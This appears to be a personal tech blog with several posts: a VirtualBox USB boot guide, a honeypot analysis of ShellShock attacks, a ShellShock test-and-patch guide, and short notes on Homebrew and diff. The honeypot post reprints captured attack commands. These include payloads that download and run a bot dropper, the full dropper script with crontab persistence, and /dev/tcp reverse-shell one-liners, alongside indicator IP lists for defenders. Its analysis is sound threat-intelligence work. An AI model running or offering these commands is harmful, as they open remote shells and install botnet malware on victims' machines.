Boot from USB with VirtualBox on Mac

VirtualBox is a powerful x86 and AMD64/Intel64 virtualization product for enterprise as well as home use. Not only is VirtualBox an extremely feature rich, high performance product for enterprise customers, it is also the only professional solution that is freely available as Open Source Software under the terms of the GNU General Public License (GPL) version 2.

Requirements:

  1. Mac OSx (Tested in Yosemite & El Capitan)
  2. Virtual Box: https://www.virtualbox.org/wiki/Downloads
  3. Virtual Box Extension Pack – The Extension Pack basically enables the USB 2.0 & 3.0 ports, with lots of other features.

I assume, you have already installed Yosemite, VirtualBox, and the VirtualBox Extension Pack as well. Follow the below steps for USB Boot with VirtualBox:

Steps:

1) On your OSx, open a Terminal Window and List all your device and identify your USB drive:

$ diskutil list

/dev/disk0 (internal, physical):

   #:                       TYPE NAME                    SIZE       IDENTIFIER

   0:      GUID_partition_scheme                        *500.3 GB   disk0

   1:                        EFI EFI                     209.7 MB   disk0s1

   2:          Apple_CoreStorage OSx                     499.4 GB   disk0s2

   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3

/dev/disk1 (internal, virtual):

   #:                       TYPE NAME                    SIZE       IDENTIFIER

   0:                  Apple_HFS OSx                    +499.0 GB   disk1

                                 Logical Volume on disk0s2

                                 A1AA1EC0-33FF-42A4-B9F0-FAKE99D91ED4

                                 Unencrypted

/dev/disk2 (disk image):

   #:                       TYPE NAME                    SIZE       IDENTIFIER

   0:      GUID_partition_scheme                        +99.6 MB    disk2

   1:                  Apple_HFS VirtualBox              99.6 MB    disk2s1

/dev/disk3 (external, physical):

   #:                       TYPE NAME                    SIZE       IDENTIFIER

   0:     FDisk_partition_scheme                        *128.0 GB   disk3

   1:               Windows_NTFS IRONKEY                 128.0 GB   disk3s1

You will see a list like the above. According to the above list, My USB is /dev/disk3 (Windows_NTFS IRONKEY).

  1. Lets unmount the disk now:
$ diskutil unmountDisk /dev/disk3

Unmount of all volumes on disk3 was successful

3)  VirtualBox process can only read/write files owned by the current user you are logged with. Mac OS X puts root as owner. With this default, you won’t be able to import the disk file that we are going to create. So the solution is too change the permission of the device:

$ sudo chown user /dev/disk3

$ ls -l /dev/disk3

brw-r—–  1 user  operator    1,   7 Jul  10 19:11 /dev/disk3

Keep in mind to change the “user” to your username

4) Now create a disk file:

$ VBoxManage internalcommands createrawvmdk -filename ~/Documents/usbdrive.vmdk -rawdisk /dev/disk3
RAW host disk access VMDK file ~/Documents/usbdrive.vmdk created successfully.

5) Now add this vmdk file to your Virtual Media Manager (⌘D) or add as an “Use existing hard drive” to your Virtual Machine.

In case you get an Error while adding this drive like shown below:

VirtualBox Error

Just unmount the disk again. The disk could have mounted back to the OS.

$ diskutil unmountDisk /dev/disk3

Unmount of all volumes on disk3 was successful

Thats all for this!

ShellShock – Hello Honeypot

ShellShock & Linux.Backdoor.Kaiten
Ok, today, I got an alert from one of my honeypots and I was overwhelmed to see, that, it was a ShellShock call 🙂

This post is going to be very rudimentary, as I want to first get the information out to as many as I can.

Here is what my log alert that my honeypot picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”,

Update: I got 2 more alerts from my honeypot

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c “wget -P /var/tmp 174.143.240.43/…/x ; perl /var/tmp/x”,

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c “echo testing9123123”; /bin/uname -a

So being curious, I looked up first to find out who is 121.9.244.212 and it results to “CHINANET-GD”

Next, comes the big main thing:

() { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents where the remote attacker is trying to (or)  inject malicious code; arbitrary code following a function definition to download a file to the /tmp directory with a file called ‘sh’.

Whats in the file?

$ cat regular.bot

killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;

curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;

gcc -o /tmp/a /tmp/a.c;

/tmp/a;

rm -rf /tmp/a.c;

wget http://stablehost.us/bots/a -O /tmp/a;

curl -o /tmp/a http://stablehost.us/bots/a;

chmod +x /tmp/a;

/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;

curl -o /tmp/d http://stablehost.us/bots/darwin;

chmod +x /tmp/d;

/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;

curl -o /tmp/pl http://stablehost.us/bots/pl;

perl /tmp/pl;

rm /tmp/pl;

echo “@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh” >/tmp/c;

crontab /tmp/c;

rm /tmp/c;

So, now once downloaded, its going to be doing a series of tasks.

Download a  “.C” file and compile it using “gcc”.
sandbox-mac:dump user$ md5 kaiten.c
MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6

Download 2 binary files:
“a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami
“darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb – Backdoor:OSX/Tsunami.A

Makes it executable and executes them.

Next it brings down a Perl file (pl) and executes the perl file
sandbox-mac:dump user$ md5 pl
MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, check news from packet storm, Install Socks5, does nmap, sql scanner, checks if the box is root-able, open up IRC channels, does TCP/UDP/Http Floods based on commands received from Master,  do Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands to send are:

IRC Names:

And then do a weekly refresh of the bot activity or updates using crontab.

Whois stablehost.us

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache on Ubuntu

$ curl -I stablehost.us

HTTP/1.1 200 OK

Date: Sun, 28 Sep 2014 07:33:15 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT

ETag: “0-50411703b49e2”

Accept-Ranges: bytes

Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

$ curl -I http://stablehost.us/bots/

HTTP/1.1 200 OK

Date: Sun, 28 Sep 2014 07:38:23 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.4

Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

After a new bot addition

In Conclusion:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443″
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1″

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • 121.9.244.212 (ISP)
  • 89.33.193.10 (PERL BOT)
  • 142.4.215.115 ( { :;}; /bin/bash -c “cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji”)
  • 67.227.0.73
  • 174.143.240.43
  • 54.64.179.8
  • 54.251.83.67
  • 142.0.41.57
  • 153.121.58.243
  • 67.229.128.88
  • 67.227.0.74
  • 82.99.57.32
  • 114.96.140.114
  • 113.10.223.171
  • 104.192.103.6
  • 72.167.37.182
  • 204.232.241.139
  • 46.161.41.142
  • 75.127.84.182
  • 37.187.225.119
  • 195.225.34.101
  • 202.137.176.146
  • 81.18.135.38
  • 94.102.52.10
  • 82.118.242.223
  • 142.4.215.115
  • 201.205.255.56
  • 83.96.168.161
  • 199.27.89.22
  • 5.135.127.38
  • 103.28.36.123
  • 82.80.195.86
  • 89.207.135.125
  • 194.54.9.11
  • 173.45.100.18
  • 192.227.213.66
  • 70.42.149.72

Web Requests: (some of the hardcoded urls in the perl file)

  • http://stablehost.us
  • http://singlesaints.com
  • http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
  • http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://www.mozbot.fr/search?q=
  • http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
  • http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://busca.uol.com.br/www/index.html?q=
  • http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Hope this helps.

Update (29/Sep/2014): Stablehost.us is down!

$ curl -I stablehost.us

curl: (6) Could not resolve host: stablehost.us

ShellShock – Test the vulnerability

On September 24, 2014, a GNU Bash vulnerability, referred to as Shellshock, was disclosed. The vulnerability allows remote attackers to execute arbitrary code given certain conditions, by passing strings of code following environment variable assignments. Because of Bash’s ubiquitous status amongst Linux, BSD, and Mac OS X distributions, many computers are vulnerable to Shellshock.

All unpatched Bash versions between 1.14 through 4.3 (i.e. all releases until now) are at risk.

The Shellshock vulnerability can be exploited on systems that are running Services or applications that allow unauthorized remote users to assign Bash environment variables. Examples of exploitable systems include the following:

  • Apache HTTP Servers that use CGI scripts (via mod_cgi and mod_cgid) that are written in Bash or launch to Bash subshells
  • Certain DHCP clients
  • OpenSSH servers that use the ForceCommand capability
  • Various network-exposed services that use Bash

A detailed description of the bug can be found at CVE-2014-6271 and CVE-2014-7169

Because the Shellshock vulnerability is very widespread–even more so than the OpenSSL Heartbleed bug–and particularly easy to exploit, it is highly recommended that affected systems are properly updated to fix or mitigate the vulnerability as soon as possible. We will show you how to test if your machines are vulnerable and, if they are, how to update Bash to remove the vulnerability.

Check System Vulnerability

On each of your systems that run Bash, you may check for Shellshock vulnerability by running the following command at the bash prompt:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

The echo Bash is vulnerable! portion of the command represents where a remote attacker could inject malicious code; arbitrary code following a function definition within an environment variable assignment. Therefore, if you see the following output, your version of Bash is vulnerable and should be updated:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

Bash is vulnerable!

Bash Test

Otherwise, if your output does not include the simulated attacker’s payload, i.e. “Bash is vulnerable” is not printed as output, your version of bash is not vulnerable. It may look something like this:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

bash: warning: VAR: ignoring function definition attempt

bash: error importing function definition for `VAR’

Bash Test

Fix Vulnerability: Update Bash

The quick way to fix this vulnerability is to use your package manager to update the version of Bash.

Ubuntu / Debian

For Ubuntu or Debian based systems:

$ sudo apt-get update && sudo apt-get install –only-upgrade bash

CentOS / Red Hat / Fedora

For CentOS or Red Hat or Fedora flavors:

$ sudo yum update bash

Mac OSx

For Mac OSx:

Do you have brew installed? If yes, follow below:

$ brew update

$ brew install bash

  • Add /usr/local/bin/bash to /etc/shells
  • Change the default shell with chsh -s /usr/local/bin/bash

Incase you would want to download and compile and do it the manual way, you can refer this documentation.

Now re-run the test shown above and see the results you achieve. Also be sure to update all your affected servers to the latest version of Bash!

Homebrew

Homebrew installs the stuff you need that Apple didn’t. Its just like a package manager, but for the Mac. Its pretty easy to install brew on your OSx.

The easy way to install is in this website: http://brew.sh

You can install it by the following command in your terminal:

You will need xcode-tools as well. While installing, the script will ask you before installing the same. Once installed, you can update brew by issuing the following command:

$ brew update

Homebrew’s current maintainers are Misty De MeoAdam VandenbergJack NagelMike McQuaidand Brett Koonce.

Homebrew was originally created by Max Howell.

Brew help can be obtained from their wiki.

You can try your first command:

$ brew install wget

Enjoy.

Comparing 2 (two) folders using Terminal

$ diff -rq folder1 folder2
Only in /Users/user/folder1/: file13.md
Only in /Users/user/folder1/: AAA.pdf
Only in /Users/user/folder2/: new mail.eml
Only in /Users/user/folder1/: P.docx
Only in /Users/user/folder2/: COMPANY.doc
Only in /Users/user/folder1/: icons.png
Only in /Users/user/folder1/: New Document.pdf

If you want to compare two different directories, to see which files may differ between the two, or, which files are missing from either one of them; there are many ways or tools that can do this job. However, we will do this using a simple command line version that will do the trick quick and easy.

Not always or everytime or everyday we will be doing such kind of comparing; but if this is your job, go pick/buy a tool.
For once a while operation, we can just do a dirty trick and get done with it.

What is it?

Launch the Terminal (Mac: From spotlight, type terminal and hit enter)

$ diff -rq /path/to/folder1 /path/to/folder2

This will compare between the 2 folders and give you results of which files differ from each other, or which files are there only in either of the folder.

The Switches:
-r -> Does a recursive search. If you do not want it to do recursive search, simply ignore the -r switch.
-q -> brief mode. When you tell diff to use the -q switch, diff will not give you a detailed output such as actual line-by-line differences for any text files that exist in both locations and that are not identical. Since we are more interested to know only what is there and not there between the folders, the -q switch is optimum.